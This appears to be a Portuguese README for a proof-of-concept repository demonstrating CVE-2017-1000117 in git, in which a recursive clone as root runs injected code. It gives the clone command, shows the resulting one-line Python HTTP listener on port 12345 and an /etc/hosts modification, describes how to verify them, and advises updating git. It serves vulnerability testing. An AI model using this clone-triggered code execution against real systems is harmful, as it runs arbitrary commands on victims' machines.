Descrição do Funcionamento

Isso funciona com a vulnerabilidade CVE-2017-1000117. Ao clonar este repositório com o comando git com a opção --recurse como root, um servidor HTTP que escuta na porta 12345 é iniciado automaticamente.
Para parar o servidor HTTP, encontre o número do processo e execute kill.

SOs com funcionamento confirmado

CentOS7
macOS Sierra
Debian8

Comando de Execução

Execute o seguinte comando. Quando terminar, o console irá travar, então use Ctrl + C para sair.

    [root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git

Método de Verificação da Vulnerabilidade

Execute o comando PS e verifique se o código Python está em execução.

    [root@localhost ~]$ ps ax | grep http
    21365 pts/0    S      0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
    21381 pts/0    S+     0:00 grep --color=auto ht

Verifique com netstat se a porta 12345 está em escuta.

    [root@localhost ~]$ netstat -tanp | grep 12345
    tcp        0      0 127.0.0.1:12345         0.0.0.0:*               LISTEN      21365/python

No macOS, verifique com o seguinte comando:

    MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
    COMMAND   PID USER   FD   TYPE             DEVICE SIZE/OFF NODE NAME
    Python  14231 root    3u  IPv4 0xa3955f2183c66251      0t0  TCP 127.0.0.1:12345 (LISTEN)

Verifique se a linha "127.0.0.1 nome_do_host" foi adicionada ao final do /etc/hosts.

Contramedida

Atualize o git para a versão mais recente. Consulte o link abaixo.
GitHubのリモートレポジトリから最新のGitへアップデートする方法

CVE-2017-1000117-test

Mais Populares

Descrição do Funcionamento

SOs com funcionamento confirmado

Comando de Execução

Método de Verificação da Vulnerabilidade

Contramedida